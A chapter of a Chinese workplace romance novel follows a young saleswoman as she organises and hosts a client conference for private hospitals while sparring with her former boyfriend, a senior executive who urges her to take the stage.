师尧自然不需要向她解释他们的大老板为什么会请假了,他说:“正好我也有事和你说。之前老侯那边提出的非公医院的客户交流会,第一场定在了津南。四个大区都会邀请部分客户参加。北区作为东道主自然要主要负责会务的相关安排,这件事,我想交给你来lead。”
“我吗?”
“有困难?”
“有吧......”第一次独立主办跨区域的大型会议,又没有任何的先例经验可作参考,辛熙觉得忐忑,但心里又不可抑制地在雀跃,办好这件事,既利于别人又能证明自己,于是
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嘴比脑子快地补了一句,“但不多,我可以克服”。
“那就行。”
再晚一些的时候,赵志远也就这事给她来了电话,言语里有信息滞后的不满,“师总说,这个会交给你主办了?”
“是的。”
“你怎么没问下我,自己就接了?你知道办一个这样全国性质的会议,有多复杂吗?餐饮、住宿、会议室、行程安排,参会人员,这些你一个人搞得定?”
辛熙想了想,“不算太难,我可以的。而且师总说会让各区的支持专员配合我。”
“小辛,我发现你最近的状态有点飘了啊”,辛熙皱起眉,又听赵志远语重心长地说:“你现在的首要任务是谈单子,做业绩。客户怎么运营,是我们能关心的事情吗?你有那么大本事吗?尽干些吃力不讨好的”,他从一开始就不赞成搞这个会议,花钱花精力的不说,搞差了还影响口碑,“这师总也真是的,既然是侯总的倡议,那就让他们在西区搞就好啦,干嘛要同意定在津南。”
“津南这边允许外资独资办院,且承接了京北的医疗资源外溢,营商环境非常适合私立医院的发展,所以......”
赵志远打断她,“我能不知道这些?我只是希望你不要舍本逐末,耽误正事。”
辛熙沉默地听着,她觉得赵志远最近的情绪愈发不稳定,不知道是不是压力太大的原因。等赵志远说完他的不满,才敢试着问:“那我去跟师总说,不接了?”
赵志远果然是不敢的,“接都接了才说不做,你让师总和姜总怎么看我们。”
“哦,那我好好做?争取不给团队丢脸。”
“你自己记着就行,我是无所谓的,业绩真正关系到是你们的个人收入。你忘了我那天同你讲的话啦,这季度的奖金你也不想要了吗?”
“知道了。”
赵志远把盐精准无误地撒到她的伤口上,辛熙挂完电话后,怒气冲冲地给辛雅发消息,称她绝对不会后悔和姜渠分手了,这天底下的男人全都是她前进路上的绊脚石!
辛雅回她:有觉悟!
办个会的前期准备工作不算难,她在做销售支持的时候积累了一定的经验,所以还算得心应手。但考虑到这个交流会的核心主旨和以往的客户会有所不同,她在拟定会议议程和邀请客户上还是伤透了脑筋。
这一天,她刚拜访完客户,开着车从停车场出来,手机端的teams弹出呼叫信息,她立马点了接通,进入了线上会议室,师尧的声音从音响里传来,“辛熙,我们正在会上,刚好聊到这次的客户交流会,你跟大家同步一下最近的进展。”
“好的。”
辛熙只当是在北区内部的经理级别的会议上,车子打了转弯灯,正欲上路,却听师尧语调轻松,带着点调侃之意,说到:“刚好姜总也在,请姜总给咱提提建议。”
辛熙猝不及防,猛地踩了一脚刹车,车子险些磕到路边的台阶上,然后就听到姜渠的声音悠悠传来,灌满了她的车内空间,“第一个建议,靠边停好车再说。”
紧接着,就是几个大区总监,似在调侃姜渠耳力好的闲言,窸窸窣窣地传进来。
84.第 84 章
这应该是一个非常临时的会,会议已经进行了四十分钟,看样子重要的事情已经聊完。辛熙在这时有些气恼了,觉得师尧不打招呼就拉自己上这个级别的会,有些过份,她还什么都没有准备。
在向上汇报时,她总需要准备很多,从内容,到态度。
沉默的档口,姜渠重新说话了,“临时call你上来有些仓促,就重点说下议程,以及需要各区协助的点。”
“好的,姜总”,辛熙稳了稳心神,这是俩人分手后的第一次对话,“会议议程计划为两天。第一天是研讨交流,主题定在了非公客户比较关心的热点话题,例如DRG的应对,供应链建设、管理运营等,届时主持人会通过采访的形式,在恰当的时候引入话题,推动进程。第二天安排的实地参观,暂定是在百睦医疗。百睦是京津冀协同医疗的典范,有明显的专业实力和运营优势,对其他非公医疗体的建设有值得借鉴和交流的空间。”
“流程安排没有问题”,姜渠的声音不咸不淡地传过来,“百睦那边OK吗?”
“我刚从吴总那里出来,他这边的问题不大。以百睦作为推介的首站,既是对百睦在地区上的一种认可,也有利于扩大品牌效应、增强口碑建设,百睦很愿意配合。”
师尧在电话里补充:“吴道光升任采购总,兼管运营,新官上任嘛,总是愿意多干点实事的。”
音频短暂地熄了一会儿后,姜渠的声音再次传来,“线上的其他人,还有什么问题吗?”
“会议安排没有问题,可我们出钱出资源给客户做行业交流,我们能得到什么?就客户一句谢谢?”说话的人应该是南区的销售总监,广东腔很重。
“是这样的,余总。在研讨交流的过程中,我们会有交付专家、产品及应用相关的老师全程陪同,一是为了给客户答疑解惑,二也是想在这个过程中自然地引出新的业务机会。”
“那这主持人的角色就很关键了。第一,得懂业务;第二,得会把控流程;第三、气势上还得压得住”,东区的总监是位风格鲜明且强势的女性,说话就喜欢这样一条条列明。
“你说的是你自己吗?邢总”。辛熙听出来了,这是西区侯广兴的声音。
邢岚假做嫌弃,玩笑地回他,“别指望我,我可没空,现在正是各大医院定指标下预算的关键日子,我可走不了。”
辛熙自然也没真想请一个销售总监来做主持。这个问题,她在收到报过来的客户名单时就已经想到了,“主持人,我想请北区的经理-何耀丹。她曾经是交付团队的高级专家,工作经验丰富,专业知识过硬,转岗到北区做业务后,业绩也一直很出色。”
“师总,你的地盘你的人,你怎么看呢?”侯广兴问师尧。
师尧却反问辛熙,“你怎么不想自己做主持?你主办的会议,内容你最熟悉,在流程把控上也应该会比何耀丹更得心应手。”
辛熙解释说:“基础的内容我是会比较熟悉,但主持人需要更丰富的专业储备,才能高效地引导客户交流,所以,我认为耀丹姐才最合适。”
“精准提问、引导方向、及时介入、随机应变,我不认为需要多么专业的业务知识”,姜渠在这时开了口。
teams上,他的头像下方的话筒按钮,因为他的发言,发出震动的波浪,引得辛熙一股无名的火气躁出来,腹诽到:我承认自己不行,不敢接,还不行吗?
侯广兴跟着应和,“是的嘛,反正也请了应用和交付的专家,小辛,你完全可以自己上的。”
辛熙只能尴尬、礼貌又谦虚、委婉地表达拒绝,“到时候,我需要盯全场,主持的事情确实力有不从。”
??
手机上端跳出信息,姜渠连发了两个问号。她弹指滑走,继续对着屏幕里亮着的头像们说:“那各位老板,要没有其他问题的话,我就先去忙了?”
师尧见姜渠没意见,就做主,散了会。
这边会议刚结束,姜渠的电话就拨了过来。辛熙是有些预感的,他递上来的台阶她没踩,总是要问个原因的。
姜渠开门见山,“为什么不做?你应该知道,在这样的会议上做好主持,对于你在行业里的积累——无论是快速建立人脉网络,还是提升个人影响力,效果都会是指数级的增长。”
“我刚才解释了呀,能力有限、精力不足。”
“辛熙!”姜渠顿了顿,似在调整那一瞬间被激发的情绪,而后说:“别赌气,也别说丧气话。”
辛熙打开车窗透气,风沁着花香吹进来,让人觉得身心舒畅,她否认自己的别扭,“姜总,我没有赌气。事实上,耀丹姐确实比我合适。”
“原因?别用刚才那套措辞。”
辛熙一时哑口。
姜渠拿定了她的反应,继续追问:“如果主持人最需要的是专业知识,那么交付团队的任何一名专家都比你合适。你为什么独独推荐何耀丹?”
辛熙并不喜欢他此时的语气,让她感觉有压力,“理由,我刚才已经在会上汇报过了”。
“嫉妒心不是什么坏事儿,别用对神的标准要求凡人。”
辛熙感觉气血上涌,瓦解掉理智的防护墙,“如果我是因为嫉妒,那我应该自己抓住这个机会,而不是让给她去表现!难不成姜总以为,我还像电视剧里的恶毒女配一样,在前面挖了什么坑,给她跳吗?”
“你用的‘让’,你也认为这机会本来是属于你的?”
“别抓字眼!这只是一种表达。”
有些真话会伤人,姜渠在心里暗自揣摩她能接受的程度。他原本打算在相处中慢慢拆解,循循善诱。但偏偏,两个人断崖式的分了手,这让他失去了很多的时间。
他不得不拔苗助长,“辛熙。嫉妒心、自卑感是人的正常情绪,你不必因此有负罪感,更不需要为这种情绪做出实质性地退让来保持自己的高风亮节。这世界所有的竞争机会都不是绝对公平的。有人天生聪明,有人运气好,有人背景深,每个人都在利用自身的优势对抗劣势。你那天说,你要和我分手,是因为从我这里没有得到任何的好处。可你扪心自问,如果我真的给了你,你就能好好和我谈恋爱了吗?不,你不会。你反而会觉得自己占了别人的便宜,抢了别人的机会,你更加会和我分手,甚至,你连开始都不敢和我开始。”
辛熙沉默了。
“筹办这个会议的机会是师尧主动为你争取的,这是他作为领导者在平衡下属能力后做出的决定。你不必有负担。而
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你得到这个机会,是否要充分利用起来,在客户面前露面也好,为你的老板争面儿也行,都需要你自己来定。”
辛熙觉得自己不能再继续沉默了,否则,会显得她在被说服,她重新关好车窗,发动车子,“谢谢姜总的指点,我想我需要一点时间思考。”
“注意安全,期待你的答复。”
交流会如期举行。
辛熙特意去定制了一套灰色的西装裙,搭配裸色高跟鞋。她把头发盘在脑后,露出光洁饱满的额头,淡雅的妆容将特属于二十五岁的青春朝气和柔媚优雅,完美调和。
会议流程她反复排演。细到每位客户的喜好和个性,关心的话题、擅长的领域,她都了然于胸。虽然她对每个话题间的衔接词做了预设,但现场进行时,并不是所有客户都会按照预期说到指定的内容,每每这时候,她会根据现场的反应和自己的了解来判定这个话题是否聊到关键点。如果没有,她会自然地接过话,引入内容;如果话题聊得差不多了,她会自然地接入下一个。当然也有聊到起兴时,话题跑到了银河外的,她也能重新找到话口,拉回正题上。
辛熙从没想过自己有这么高能量输出的一天,她像一个踌躇满志之人,在现场运筹帷幄。
陪同客户来参会的其他区的销售,对她赞不绝口,说这场会的客户体验出奇的好,内容涵盖广,又紧扣时下热点,客户都表示很期待和麦高有更长线的合作。
会议结束时,辛熙代表麦高做了总结发言:“在当下外部环境和行业趋势下,非公医疗面临着严峻挑战,但挑战也意味着机遇。正如我们今天所探讨的内容,差异化的专科建设、智慧医疗、高质服务,都是未来的热点话题,麦高期待和各位一起,实现合作共赢!”
姜渠就是在这句话落下的时候出现的,但他只是站在会议室门口的展架旁,同场上轰鸣的掌声一起,为她鼓掌。
“你站在这儿干嘛?”辛熙对等在自己家门口的不速之客,戒备地问到。先前在会议室里恍恍惚惚地,还以为看走了眼,没想到这人还真来了津南。
“等你啊,不然来当门神?”
辛熙站了一天,小腿肚有些酸疼,但她依然绷直地站着,并不打算开门,“姜总有事?”
姜渠将她的排斥看在眼里,但他并不着急,只是说:“今天的会议很成功,几个区的总监都收到了反馈,表示很期待下一次。”
辛熙听到这话,唇角不自觉地上扬,“真的吗?”
“骗你干嘛,骗你让我进屋吗?”
小心思被戳破,辛熙努努嘴,“那可不行。”
“唯一的不足是......”姜渠故意吊她胃口,果然就见刚才还得意的脸上立马渲染起了紧张的情绪,眼睛圆溜溜地睁大,倒先让他自己猛地躁了一下,赶紧清清嗓子撇开眼,“怎么打扮得像新闻联播的主持人?”
“是吗?”辛熙不疑有他,扭着腰肢去检查自己的穿着,“我特意买的呢,挺职业的,也挺好看的呀。”
姜渠后悔在这个时间点来找她了。
夜深人静,诱惑在前,太容易想入非非。可他现在的身份,什么都干不了。他就应该选在青天白日见她,也许灿烂光明的太阳,能把那点龌龊的心思晒成干!